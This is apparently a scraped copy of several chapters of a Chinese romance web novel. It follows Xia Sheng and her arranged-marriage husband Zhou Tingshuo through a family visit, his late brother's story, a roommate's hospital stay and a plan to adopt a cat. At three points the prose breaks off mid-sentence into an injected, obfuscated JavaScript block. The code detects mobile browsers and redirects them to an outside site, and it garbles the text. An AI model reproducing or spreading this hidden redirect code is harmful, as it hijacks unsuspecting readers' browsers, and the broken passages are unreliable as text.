衣柜里那些贵得令人咂舌的衣服总算派上用场。 她挑了一件浅藕色的大方领连衣裙,款式简约剪裁得体,配上同色系的浅口高跟鞋,像是大家闺秀那么回事。 还仔仔细细画了全妆,长发挽在脑后,配上一只新中式的白玉兰花簪。 周庭朔仍旧是衬衫西裤,只是改了休闲款式,没打领带。 这么一看,夏声觉得自己有点用力过猛。 “我是不是过于隆重了?” 他周身看过,给予了充分肯定:“不会,很适合你。” 西苑位于城市西侧,地理位置极好,是个闹中取静的中式园林独栋别墅。 穿过黄褐锦纹的紫铜镂花大门,屏山镜水的景直入眼帘,青石板铺就的宽路两侧,皆是专业园林师设计过的秀园绿植。 一阵风过,花草植被混合着泥土的香气阵阵传来。 夏声不是第一次来,但还是震撼于这庭院的阔与雅。 “有没有人在你家迷路?” “有。”周庭朔为她推开入户的高精玻璃门,“祁家骏九岁在这个院子里追一只杜宾犬,把自己追丢了。” 夏声噗嗤笑出声,很难把那天那个超跑酷哥跟这件事联系起来。 刚进门厅,远远就传来人们交谈的声音。 夏声与他对视一眼,上前挽住了他的手臂。 一家人一个不少全都在,夏声一个个打过招呼,又将带来的礼物一一送出去。 薛宁玉披着一条黛色真丝披肩,拿着她送的香薰,笑得极为满意。 “我看了成分和功能,是安神淡香,适合在卧室摆放。”夏声介绍完还不忘夸下人,“很适合您淡雅的气质。” “瞧瞧,我们声声多会说话。” 旁边周仪娇已经将一条复古造型的六芒星手链戴上,一个小众潮牌的新款,是安真帮忙选的。 “嫂子连我的礼物都准备了,眼光真好,这条我超喜欢,爱你!” 众人围着夏声说话,倒把一旁的周庭朔冷落个干净。 周父周起岩将他叫到一旁,问了些工作上的事,就被周老爷子打断。 “家庭聚会,就别说公司那点事了。” “老林一会该到了。” 林清江到的时候,夏声正陪周灵熙听一首英语童谣。 小姑娘今天得了艾莎公主的联名娃娃,很是高兴,围在小婶婶身边不肯走。 薛宁玉都说,难得见熙熙这么喜欢一个人。 夏声跟周家人是客套礼貌,跟林清江则是生疏别扭。 明明他们是亲人,夏声却觉得他还不如这屋里的其他人亲近。 也就是林清江刚到时,她跟着众人一起问了好,再闲聊两句近况也就完了。 倒是林清江对周庭朔,赞不绝口,甚至看到周仪娇都不忘夸上几句,唯独看向夏声时,眼中没有多少情绪。 连叮嘱她的话,都另有目的:“夏声,在内可得做好贤内助,别给庭朔添麻烦。” 夏声的笑变得又干又紧。 一旁的周庭朔看得很清楚,无波的眸子投去的目光带着不自知的重量。 “她不用做贤内助,做自己就好。” 守着长辈的谈话自然枯燥无味,周仪娇实在听够他们的闲话客套,开始怂恿夏声跟她出去转转。 周灵熙也跑来一起。 那边周庭朔要留下作陪,见她们要出去,起身过来嘱咐两句。 “一会开宴,别走太远。” “好了知道了。”周仪娇拉过夏声的手就往外走,“不会把你老婆弄丢的。” 几人来到了后院的花园,五角飞檐的亭子,旁边有长势喜人的藤架葡萄。 再走几步是黑玉石砌成的观景池,周灵熙将带着的鱼食给了夏声一把。 肥硕的锦鲤将水面翻腾成波,周仪娇坐在亭子里,趴在栏杆上看她们喂鱼。 “嫂子,你们不准备蜜月旅行吗?” 锦鲤扑腾出的水溅到了周灵熙,夏声帮她擦了擦,随口回答。 “他忙没时间,以后再说吧。” 周仪娇鼻息出气,显然不认同:“他就是个无趣的老男人,一点不懂情调。” 但她还是很喜欢夏声的,于是又免不了为了她哥说点好话。 “不过他人还是很稳重可靠的,嫂子你好好调教调教,没问题的。” 一将调教二字跟那张棱角分明不苟言笑的脸联系起来,夏声不由摇了摇头。 她指了指自己:“我吗?” “还是算了吧,这么多年都没人调教好他。” 周仪娇直起腰来,急着表态:“他之前都没谈过恋爱,当然调教不好了。” 眼见夏声捏着鱼食不动,周灵熙拽了拽她的裙摆:“小婶婶?” 夏声快速整理思绪,转过头重复了一遍:“他没谈过恋爱?” 三十岁,事业有成,品貌端正,谁会认为这样的男人会没有任何感情经历。 “是啊,他上学的时候就是个木头,工作了以后更是块绝缘体。” “这些年什么名媛美女,甚至模特明星,明里暗里都追求过他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925511|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一个没成。” 这么说来,自己算是捡了个——璞玉? 可夏声很清楚,两人能成纯是因为时机刚好,真论感情,她跟那些追求他失败女人的起点没什么不同。 似乎为了给夏声信心,周仪娇煞有介事地鼓励她。 “我看得出我哥对你不一样,你一定行!” 小孩子听不懂她们行不行的对话,周灵熙喂够了鱼,看着葡萄架上的果子不转睛。 夏声笑着刮了刮她的鼻子:“想吃葡萄?” 周灵熙点了点头。 西苑的葡萄可不只是种来看的,这是前几年特意从新疆引进的品种,专人打理,出得果比外面卖的还甜。 藤架并不算高,边缘的几只藤蔓坠着果子已垂下来。 夏声今天穿了高跟鞋,刚好身高够用,取了旁边挂着的剪刀,剪了串最红的给她。 周仪娇也走过来凑热闹,指了指稍高的另一串。 “那个也长得挺好。” 夏声伸长了胳膊,还差着些距离,她索性踮起脚硬凑。 葡萄是剪下来了,可鞋跟落地时一歪,夏声差点摔个屁墩。 也不知周庭朔什么时候来的,只是当她刚好落在他怀里的时候,旁边的周仪娇立刻捂着周灵熙的眼睛,偷笑起来。 周庭朔眼风扫过去:“该回去了。” “哦哦哦,这就回。” 周仪娇拉着小朋友头都不回地溜了。 到底不常穿高跟鞋,夏声低头转了转脚踝,一阵闷痛令她皱起眉来。 “还能走吗?” 低沉的嗓音从她头顶传来,夏声这才注意到自己还在别人怀里。 她挣脱出来,一脚用力站直身体。 “应该可以。” 周庭朔的双手仍在她身侧虚扶着,夏声正低着头看自己的脚踝,没注意到他暗沉的眸色。 “别勉强。” 刚刚扭那一下不算疼,大概不是很严重的伤,夏声坚持可以走。 一阵风吹过,那股已经有些熟悉的清冷木香钻进她的鼻子,夏声这才发现,他离自己还这么近。 刚想后退一步,脖颈后裸露的皮肤好像有什么碰了下,随后有东西顺着宽大的方正领口,滑进她的背里。 柔软的,卷曲的……夏声想起他们正在葡萄架下,头皮顿时一阵发麻。 也顾不得什么形象,她抓着周庭朔的胳膊抖起来。 一开口连声音都在发颤:“周庭朔,我后背上什么东西,快帮我弄走。” 他依言看了眼,她后背上什么也没有,但看她的反应又像是真被什么东西吓到。 等抬眼看到头顶的葡萄架,他反应过来,后退一步将她拉出去。 后背那诡异的触感仍然存在,夏声手指冰凉,肩背僵直半点不敢动。 “快帮我拿掉,快点!” 夏声都要急哭了,周庭朔只得低头看向她的后背。 “你别急,我看看。” 裙子的拉链正好在身后,他神色沉着,手指捏住顶端,迅速拉下来。 夏声将整个人埋进他怀里,也顾不得距离尴尬之类的,听见拉链拉开的声音,随及便感觉到一抹温热在她背后扫过。 接着拉链又被迅速拉好。 身后的手轻拍了几下:“好了,没事了。” 不知是不是心理作用,她总感觉后背还有些异样,但她不敢回头确认。 于是只好抬头:“你确定?” 他回答的很确信:“嗯,什么都没有了。” 周庭朔低头说话的功夫,气息落在她耳边,夏声抬眸刚好看到他线条优越的下颌线,以及薄而润泽的唇。 浅淡的唇色,流畅的唇线,她甚至第一次注意到,他有着不太明显的唇珠。 看起来就很好亲。 长成这样的男人,怎么会一次恋爱没谈过? 人在吓到发懵的时候,大脑会短暂宕机。 夏声就是这样的。 此刻,她眼睛盯着他的唇,只想起一件事。 “你是不是初吻还在?” 8. 第 8 章 周庭朔的眼睫低垂,视线从她的眼睛落到鼻尖,最后停在唇边。 他没急着回答,夏声却渐渐醒过味来。 就算没谈过恋爱,也不代表一定没亲过。 自己哪来的自信这么问啊,还问的这么直白…… “结婚前你对我的情况没做过了解?”周庭朔反问。 夏声一贯认为谈恋爱是浪费时间,她对“男朋友”这一角色也没有需求。 但硬要选一个结婚对象,周庭朔的条件是没得挑剔的。 年轻有为,财貌双全,不论软硬件都是各中出挑,让她自己选也未必找得到这样的。 反正跟谁结不是结,她秉持着这个原则,从善如流地同意联姻。 至于了解,那是一点没有的。 她开始找补起来:“就算了解,也不会了解到这方面的事,况且我……” “是。” 夏声话音一顿,直直看向他。 “还在。” “啊?哦,嗯……挺好的。” 关键时刻舌头打结,夏声恨不得让几分钟前的自己把那个问题咽回去。 “所以。”周庭朔在等她的下文。 哪有什么所以。 夏声干笑两声,低头故作忙碌地理了理裙摆。 随后也顾不得崴了的脚踝疼不疼,火速逃了。 路上还不忘跟安真吐槽。 【夏声:到底谁发明的高跟鞋,简直反人类,我劝你以后少穿。】 席上,夏声坐到了周灵熙旁边,周仪娇本想坐她另一边,被薛宁玉制止。 “没眼色,坐这边来。” 夏声不怎么饿,于是就在旁边帮周灵熙剥虾壳、挑鱼刺。 小姑娘吃东西慢条斯理,跟周庭朔的举止如出一辙。 夏声见她格外喜欢那道烩牛尾,便取了些汤汁淋在她的饭上。 周灵熙转过头小声说:“家里不让这样吃饭。” 是,大家闺秀培养起来规矩多得很。 但此刻长辈们都各自攀谈,没人注意她们这,夏声用勺子快速帮她把饭拌匀。 “快吃,这样最好吃,别让他们看见就是。” 对面的周仪娇倒是看见了,她心照不宣地冲周灵熙眨眨眼,示意她没事。 一直坐在她左手边的周庭朔余光扫过来,也只是淡淡一瞥。 夏声自己一直没怎么动筷子,没多久他侧头过来提醒。 “吃太少,一会薛女士会问是不是菜品不合你口味。” 夏声抬眼,刚好对上那边薛宁玉的视线,她赶紧堆笑,夹起一块鱼肉塞进嘴里。 临近傍晚,林清江才准备离开,临走时单独跟夏声交代了几句。 “我瞧着你跟庭朔还生分得很,他工作忙,你多主动些。” “别拿外公的话当耳旁风,这也是为你好。” 出于基本礼貌,夏声忍着没吱声,只是心中越发不耐烦。 送走林清江,夏声独自坐在沙发前。 周仪娇瞧她戳着面前果盘里的芒果,百无聊赖的样子。 “我刚看熙熙在那边照镜子呢,小丫头也知道臭美了。” 刚刚夏声同她玩了会,顺便给她重新编了头发,小姑娘还挺高兴。 “嫂子,你要是喜欢小孩,抓紧跟我哥生一个呗。” 眼前的芒果被戳了个洞,夏声扔下签子,赶紧撇清。 “我不是喜欢小孩,只是喜欢熙熙。” “她跟我……其实有点像。” 同样小小年纪没有父母在身边。 同样懂事听话,乖的令人心疼。 夏声七岁那年,夏国理还在学校任职,被返聘的老教师在工作上认真负责。 唯独照顾孙女方面,不太精通。 那年已是五月,春末夏初的时节,别的小朋友早已换上单衣。 而夏声还穿着薄袄和一双灰扑扑的棉鞋上学,同学背地里笑话了她好几天,还是班主任看不下去私下找到她。 “你家里人怎么也不给你换换应季的衣服,穿着不热吗?” 那时夏声还不懂,什么叫适合时宜的穿着。 爷爷生活方面粗枝大叶惯了,她也就得了什么穿什么。 于是,那天放学,她独自踩着凳子翻着衣柜上方的格子,被抽出来成摞的衣服砸得摔下来,脑门起了个红包,几天才消下去。 她没哭,而是为明天有合适的衣服穿而松了口气。 她就是这样跌跌撞撞,学会了照顾自己。 “不过,她还是比我幸运多了。” 这会,周灵熙拿了串珠链回来,上面的珠子五彩缤纷,说是她亲手穿的,要送给夏声。 珠链有些大,夏声的手腕戴不住,她只好在脚踝边比了下。 “看来做脚链正好。” 小姑娘站在一旁,眼睛盯着她的脚踝。 “小婶婶,你的脚怎么了?” 这话被旁边的薛宁玉听到,本该一会就告别的夏声,就这样走不成了。 薛宁玉皱着眉,显然觉得很严重:“脚踝这样怎么还能回去,庭朔你也真是的,不照顾着点。” 不过是脚腕处有些红,微微肿,疼都不是很疼了。 但任凭她怎么说没事,薛宁玉都让她今晚在这休息一晚再说。 “你们就住庭朔原来的房间好了。” 西苑里周庭朔的房间比碧水华汀的小些,但更有生活气息,玻璃书柜里码放着整齐的书籍,以及各色的优秀学生奖状。 夏声的视线落在一张照片上。 隔壁,薛宁玉恨铁不成钢地将一瓶药水塞到周庭朔手中。 “你啊,学习工作上从来面面俱到,不留疏漏,唯独感情上,不及格!” “声声是个吃过苦的姑娘,不像其他千金小姐会娇气,可她不喊疼不叫屈,你也不能就当看不见啊。” “自己老婆就应该宠着点。” “你看你今天,连一口菜都没给人家夹过。” 周庭朔看着手里药水的使用说明,淡淡开口:“她自己有手。” 薛宁玉被噎得一愣,随后手指隔空点了点他。 “等哪天老婆哄不住了,别来找我着急!” 说完将他往外赶:“去去去,把药给声声,指不上你人家自己也得处理下脚伤。” 其实他只是陈述客观事实,比如此刻,夏声正好好地站在书柜前,根本看不出哪有伤。 “薛女士认为你需要这个。” 夏声应了声,视线却没从柜子里的照片上离开。 “周庭朔,你以前还挺阳光的啊,这不是笑得很好看吗?” 照片里,周庭朔还是少年模样,被一个比他看着大些的男生揽着肩膀,两人都是标准的八颗牙微笑。 她回过头来,正对上周庭朔目光。 沉寂幽暗,像是时光已将他眼里的星星偷走。 于是她的语调也落下来:“他就是你大哥吧?” 夏声想起周灵熙,跟照片上的男人眉眼很相似,又想起女孩的妈妈。 “那你大嫂……” 周庭朔似乎并不想过多谈及,拉着夏声坐回床尾凳上。 她不知周庭昀的意外,是他的心结。 那年冬天,周庭昀迷上了滑雪,赶在周庭朔假期时带他去了雪场。 周庭朔还没上过高阶雪道,想尝试却被周庭昀直接拒绝。 他拍了拍弟弟的肩膀:“危险操作,你要跟教练专门训练过才能上。” “不过真想看,我可以滑一轮给你瞧瞧。” 可就这一次,出了意外。 翻转的雪板,巨大冲击下飞扬的雪粒,以及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925512|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远远传来的惊呼。 纯白雪道上躺着的身影,是周庭朔数年后反复重现的噩梦画面。 那条雪道,他本可以不上的。 周庭朔始终沉默着,在距夏声半步远的地方屈膝蹲下。 夏声:“我自己来吧。” 然而对方仿佛没听到她说什么,已将盖子拧开,将她的脚抬起来,放在他前屈的膝上。 红褐色的药水在他手心搓热,随后一点点按揉在她脚踝微红的位置。 修长的手指握着她的脚踝,温热的掌心贴着她的皮肤。 虽然整个过程他都十分正经,动作神情不带一丝惹人遐想的成分,可偏偏夏声脚踝处却生出滚烫的温度,连同耳根都跟着热起来。 某些被藏起的触角好像有些蠢蠢欲动。 等到药水充分吸收,他才收了动作,缓缓起身。 “试试,好些了吗?” 脚落在柔软的地毯上,已经感觉不到痛了,夏声点点头。 “谢谢你。” 周庭朔退后两步,靠在对面半人高的胡桃木边柜上。 双手虚撑在身后,目光落在窗边。 须臾,冷冽的语调陈述起当年残酷的事实。 “大哥出事时,刚结婚不到两年。” “他们两个是自由恋爱,结婚生子一切顺利,就因为出了这个事故,那女人在医院守了一个多月,人就不见了。” “熙熙那时还不满一岁,她甚至不记得妈妈的样子。” 他眼神冷淡:“对我来说,婚姻是不可靠关系,爱情也是。” 这是他的立场。 夏声心底刚泛起的那点温火,瞬间灭了下去。 所以,自己这是遭到无差别嫌弃,像是全天下的女人都一个样? 人在生气的时候,是会笑的。 只是夏声笑得格外不由心:“周庭朔,我向你讨要爱情了吗?” 夏声五官柔和,像是浅笔水墨,可此时因染了怒意,凭带了几分厉色。 微扬的眼角噙着讥讽:“我们彼此完成任务的事,你倒想的多。” “以后我们桥归桥,路归路,各过各的互不干涉。” 她的反应有些出乎周庭朔的意料,随及他意识到,哪怕自己没有那个意思,但刚刚那番言论其实并不友善。 可能,她误会了。 他本意只是不希望他们彼此被婚姻所约束,变成薛宁玉所说那样,应该怎样,必须怎样。 “如果言语上冒犯到你,我道歉。” “我并非这个意思,以后你有需要的地方,我会……” 夏声抬手不想再听,嘴角压得很低。 “不用了,我不靠任何人也活到二十多岁,你大可放心,以后我不会麻烦到你。” 仍旧踩上那双高跟鞋,夏声昂着头大步走了出去。 只不过下了楼看到薛宁玉,夏声揉揉脸颊,又换上另一副表情应对。 要走的借口已经想好:“刚刚学校的老师来了电话,上次共翻的资料出了点问题,我得回学校一趟。” 薛宁玉显然不信,看眼跟着她下来的周庭朔。 “这么晚了,还回去吗?” 周起岩商场沉浮多年,看着儿子脸色不太对,已品出几分内情,便拦住了薛宁玉。 “让庭朔送她去吧。” 两人就这样各怀心事启程,谁都没再开口。 车子驶进市中心时已快九点,城市夜生活刚按下开始键。 夏声始终望向另一侧的窗外,没有一点想要交流的意思。 直到车子拐过一个路口,刚好是京大的侧门,她突然直起身。 “停车。” 司机透过后视镜看周庭朔眼色。 “夏声。” “快停车!”她仍看着路边某处,声音更加急迫。 9. 第 9 章 京大侧门外正对着一条小吃街,夜里最有人气。 铁板上蒸腾起带有孜然香气的热雾,电子喇叭略带杂音的叫卖声重复一遍又一遍,五花八门的招牌交错着挤在一起。 而夏声就是穿过这些热闹的摊贩,冲到对街的路边。 路旁翻倒的小电驴还在滴滴作响,甩在一旁的彩虹小白马头盔上染上血迹。 那是夏声陪金楠楠去挑的。 平日夜里,寝室的人如果嘴馋,金楠楠就会套上这个头盔跑来小吃街大采购。 夏声跪在地上,俯身叫她:“楠楠,你看看我,你怎么样?” 躺在地下的人脸上都是血,痛苦地呻吟两声,似乎说不出话。 这会夏声反应过来:“叫救护车,打电话。” 她急着下车,这会摸了摸身上,才想起手机落在车上的手提包里了。 幸而旁边的一个男同学站出来:“刚刚已经打过了,救护车说大概十分钟到,让尽量不要碰伤员。” “十分钟。”夏声抬头,“现在过去几分钟了?” “应该快来了。” 周庭朔已赶来她身边,粗略看眼现场的情形。 “冷静点,别着急。” 话音刚落,救护车就已到路口。 医护人员赶来,迅速检查下情况,随后将人抬上车。 又询问跟着的夏声:“你是她什么人?” “我是她同学,我们同寝。” 夏声没有心思关注其他,不知周庭朔什么时候也跟着上了车。 他坐在她旁边,低声跟随车医生交谈。 “现在准备送去哪个医院。” “就近应该去第四人民医院。” 周庭朔看眼窗外:“方便去明德一医吗,距离差不多。” 接着他拿出手机拨了个号码。 “打扰了张院,一会有个伤员要送到你那,初步判定应该是车祸。” “……” “好,大概十多分钟会到,麻烦你。” 救护车的鸣笛声一刻不停,夏声双手交握,捏得极紧。 张了张嘴想要道谢,却又说不出什么。 车子很快停在医院门口,一队医护人员迅速迎上来。 很快金楠楠被推进医院,开始安排全面检查及治疗。 夏声一直跟着,从检查室到急救室,虽然医生告诉她没有生命危险,但她还是担心。 中途周庭朔离开了一会,等回来时他手里拿着一条毯子和她的手提包。 她被拉着坐到走廊旁的座椅上。 周庭朔将毯子披在她肩上,随即拿出几张湿巾。 她的膝盖刚刚跪在地上粘了些细碎的灰尘。 没等他的手碰到她的腿,夏声便往后缩了下。 她拿过湿巾:“我自己来吧。” 一口气将手上沾到的血也擦干净,身旁的周庭朔又提醒她。 “这事应该告知学校一声,你有老师的联系方式吧。” 见她点头,他将她的手包递过来。 等跟老师报备好,急救室的门也开了。 夏声赶紧起身迎过去,周庭朔将滑下来的毯子拿起来,跟在她身后。 医生表情和缓:“放心吧,不是很严重的伤,已经都处理过了,住院观察一段时间就行。” “一会要办下住院手续。” “我来吧。”周庭朔转头看向夏声,“你陪她去病房。” 医生似乎认识他,马上陪笑:“那周先生这边请。” 医院给金楠楠安排的是个单人套件,她肋骨伤了几根,头上破个口子缝了针,右手骨折打着石膏。 惨兮兮地躺在病床上,人还没醒。 夏声帮她安顿好,又去打了热水,找条毛巾帮她擦过手和脸。 周庭朔回来时,她刚挪了凳子坐在床边。 见他进来,她抿了抿唇:“手续都办好了?” “嗯。”周庭朔走过来,俯身在她旁边放了什么东西。 低头看去,是一双羊皮软底平跟鞋。 她的脚踝原本已没什么事,但这一顿奔波下来,又有些发紧的刺痛。 也是这会闲下来,她才感觉到。 说不好是什么心情,夏声抬眼看向他,感激地笑笑。 “谢谢。” 今晚承他太多情,再甩脸色就是不识趣了。 “你回去吧,刚刚学校来消息,已经通知她父母了,今晚我先在这陪她。” 病房只开了床尾对侧的夜灯,周庭朔四处打量下,靠窗处有一条双人沙发,刚好够一人容身。 他将叠好的薄毯放到扶手上。 “晚上如果有事,可以叫值班医生和护士,或者给我打电话。” “好。” “那我先回去了,你早点休息。” 周庭朔离开后,夏声换了鞋到沙发那躺着。 举起手机一看,除了寝室其他人问及金楠楠情况的消息,还有安真的一大片自言自语。 回的是她中午的消息。 【安真:高跟鞋是我气场的奠基,不穿跟截肢有什么区别。】 【安真:你怎么了,是不是今天去周家穿高跟鞋崴脚了?】 【安真:怎么样,听说哥有没有来个拦腰公主抱。】 【安真:?半天还不回我,跟老公甜蜜去了?】 夏声:…… 【夏声:没甜蜜,相反吵了一架。】 他们下午的状况……应该算是吵了一架吧。 【安真:他懂不懂怜香惜玉!暴怒.jpg】 【安真:拖出去斩了吧。】 夏声抱着柔软的羊毛毯,垂眸看眼脚下的鞋子。 倒也罪不至此。 第二天一早,金楠楠已经转醒,见自己裹得像个僵尸一样躺在床上,愁得水都喝不下。 “怎么办,现在右手还断了,考编更不用复习了。” “完了完了,要被我妈念叨死。” 金楠楠的父母来得很快,两人风尘仆仆地从几百公里外赶来。 她妈妈一直沉默着,上下检查好几遍伤处,不经意间转头擦了擦眼角,随后才跟旁边的夏声道谢。 自始至终没唠叨埋怨金楠楠一句。 金楠楠跟父母讲了昨晚的事故,是她倒霉被一辆逆行的摩托车撞上,对方还当场逃逸。 夏声也是刚知道原委,手中手机响起,她随手接起来。 那边金父问:“那是不是该报警?” “对,报警。”夏声接了句,这才跟电话那头说话,“喂?” 对面沉默了一瞬:“你还在医院吗?” 夏声看眼屏幕,是周庭朔。 于是起身向病房外走。 “准备走了,怎么了?” 应该是听到刚刚她说起报警,他补充道:“如果是交通肇事,要尽快让警方介入,最好有律师帮忙推进。” 他未听全貌倒也猜出一二,又怕她们没什么处理事故的经验。 “如果有需要,我可以介绍律师。” 夏声下意识拒绝:“不用了。” “夏声。”对面声音沉了沉,“昨天我并非那个意思。” “就算互不干涉,作为朋友也可以提供帮助。” 可他们之间也算不上朋友啊。 住院医生刚好来查房,夏声向门另一边让了让。 “好,如果有需要再问你。” 说完她便要挂断,又被周庭朔叫住。 “等等,我让司机去医院门口接你回去,我有工作要出差两天。” “还有,熙熙想来找你,你要是不方便我就回了她。” 夏声推门进病房:“不用,让她来吧。” 当天下午,周灵熙就带着一只小皮箱到了碧水华汀。 “小婶婶,我想跟你住几天,可以吗?” 反正周庭朔不在家,她们两人正好作伴,也不怕被人管着。 夏声张开双臂,歪着头冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925513|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她笑:“欢迎!” 这两天夏声课不多,没课的时候就去医院陪金楠楠,顺便把笔记带给她。 她父母感激夏声,还问了医药费花费多少,想还给她。 手续是周庭朔办的,她也不知道,于是就说不要了。 金楠楠:“你每天兼职赚钱也不容易,不能白让你垫钱啊。” 她现在真算不上缺钱,但人设还得保持,于是只好随口胡说。 “就两千块钱,这单间病房也是我朋友认识医院的领导,按普通病房算的。” 金楠楠父母给她塞钱不成,又买了好多东西给夏声,这她不好再拒绝,只能全部带回家。 一般下午五点半,司机就会送放学的周灵熙回来,然后两人再研究今天的晚饭吃什么。 夏声坐在沙发上,看了眼时间。 这会都过了十五分钟,人还没回。 实在有些担心,她索性抓着手机下楼。 楼下门厅外有一个圆形喷泉水池,拐过水池是一片绿地,夏声就是在这里找到她的。 彼时,周灵熙正蹲在一簇矮木丛旁边,向草丛里看。 “熙熙,你干什么呢?” 周灵熙做了个“嘘”的手势:“小婶婶,有小猫。” 循着她的视线,夏声往灌木丛里看,果然看到一只杂色的玳瑁猫趴在里面。 夏声:“我们想办法引它出来。” 周庭朔电话打来时,夏声正跟周灵熙凑在一处,等小猫出来。 她压低声音接听:“什么事?” 这几天出差,他们二人交流甚少。 最多的就是报备下周灵熙的情况。 “你跟熙熙,去哪了?” 小猫被面前的猫粮吸引,鼻尖吸了吸似乎想要出来了。 夏声眼睛亮了亮:“熙熙,咱们往后退一点。” 电话那头沉默一瞬,复又问了一句:“你们在哪?” “楼下。”见小猫已经慢吞吞往外挪,夏声急着挂电话,“回头再说。” 应该是饿了许久,猫咪出来后一直在闷头吃粮。 周灵熙喜欢的紧,几次想伸手摸摸,被夏声拦住了。 “外面的小动物尽量不要随意碰,如果被抓伤还要打狂犬疫苗,很疼的。” 小姑娘听话,眼神却渴望极了,只能不断挪动步子,蹲得离小猫越来越近。 见状,夏声问她:“不如你跟奶奶说一声,家里养一只呢?” 想来薛宁玉宠爱这个孙女,也会同意的。 周灵熙摇摇头:“太爷爷有过敏性哮喘,不能养。” “哦,那确实不行。” 两人看猫看得入迷,谁也没注意周庭朔什么时候来的。 “不回家,在这做什么?” 小猫被他的声音吓到,炸着尾巴退了几步,周灵熙想去追,小猫转头就钻进草丛跑了。 夏声起身往里望,已经看不到小猫的影子。 “算了,跑远了。” 她将地上还没吃完的猫粮收拾好,随口问他。 “你刚回来?” “嗯。”见周灵熙还仰着脑袋往小猫消失的方向看,周庭朔上前拍拍她的肩膀,“小叔叔给你带了礼物。” “哦。” 回家后,周灵熙一直闭着嘴巴一声不吭。 周庭朔带给她的礼物,她也看不出高兴的样子。 夏声也喜欢小猫,能够体会小姑娘的心情。 旁边的周庭朔从行李箱中又拿出一只白色的方绒盒递给夏声。 她有些惊讶,接过来:“我也有?” 嗯,给周灵熙买礼物的时候,顺带给她带的。 一条紫水晶吊坠的项链,透净纯粹,夏声对着镜子比了比,倒很配她的肤色。 “谢谢啦。” 比之前两天她骤然冷淡下来的态度,这会她的语气明显缓和不少。 身后的周庭朔透过镜子望着她。 其实,她很好哄。 10. 第 10 章 晚上,周灵熙趴在客厅桌子上,在自己的手账本上画了一只小猫咪。 做手帐是她的小爱好,前两天还送夏声一个本子,让她跟着一起做。 夏声本来在旁边刷题,看到她本子上的图案,想了想打开自己那本还崭新的本子,取来一只橙红色的荧光笔。 在第一页写上几个大字给她看:想要,就去争取! 可周灵熙对她小叔叔天然敬惧,所以开口的任务落在夏声身上。 她端杯柠檬水敲了敲书房的门。 碧水华汀里,除了主卧就是这里她不曾来过。 黑色的实木办公桌上,电脑屏幕亮着,周庭朔带着金丝框眼镜坐在其后,略微偏头看过来。 “怎么了?” 大大方方将水放到他旁边,夏声将托盘背到身后,眉眼弯起。 “工作久了,休息一会吧。” 她住进来这么久,从没主动找过他,更别提送喝的过来。 周庭朔略有深意地看她一眼,没有拆穿。 柠檬水沁过薄荷叶,确实提神醒脑。 周庭朔喝过两口,夏声才进入主题:“那个,你讨厌动物吗?” 桌上的钢笔被他握在指间,周庭朔淡淡回了句:“不讨厌。” 他抬起头,正对上夏声的目光:“想养猫?” 这人怎么猜什么都这么准。 夏声索性点点头,又试探着问:“不过,你有洁癖,是不是不方便?” “我没有洁癖。” “哦哦,那更好了,猫咪我不会让他进你的卧室和书房的,公共区域的卫生我也可以保证,绝对不让猫毛困扰你。” 周庭朔更正:“卫生阿姨会打扫。” “所以你同意了?”夏声弯腰凑近了些,眼里都是期待。 一阵温柔浅淡的香气随着她的动作飘来,忽闪的眼睫像是蝴蝶的羽翼,搅乱他平静的呼吸。 两人透过静默的空气对视着,直到钢笔从他指尖跌落,发出一声脆响。 “可以考虑。” 小熙熙等在门外,见夏声出来赶紧凑上去。 “有戏。” 打铁要趁热,之后的几天,两个姑娘可谓无时无刻不在暗示他。 上午,周庭朔听完财务部的审计汇报,疲惫地捏了捏眉心,拿起电话拨了个号码。 “呦,工作狂魔这时候怎么给我打电话。”祁家骏调侃的语气传来。 “懂不懂猫,什么品种的温顺亲人些,女孩养。” 对面愣了一秒,似乎受到极大冲击:“什么?你说猫?送女孩?” “啧啧啧,这位夏小姐不简单啊,竟然让我们周二公子花心思了。” 办公室门外,秘书来送签批文件,周庭朔一页页过目,不忘堵对面的嘴。 “给熙熙的。” “行,给熙熙的。”对面显然不信,马马虎虎应着,“我有个朋友,专门养赛级猫,回头从他那挑个品相性格好的,算我送弟妹。” 文件签完,周庭朔起身走到身后的百叶窗前:“说了是送熙熙。” “知道了,对了,什么时候带你那位神秘的老婆出来见见哥们几个?” 圈子里的朋友都是多年的交情,如今各自忙事业,聚的不多。 他结婚又是悄无声息,再低调不过。 “你再不引荐,哥几个可该有意见了。” “况且,你一直不把弟妹介绍给自己朋友,时间长了人家会以为你不让人家融入自己的圈子。” “姑娘们可都挺在意这些,别怪哥哥没提醒你。” 周庭朔不疾不徐地回他:“你倒是很懂。” 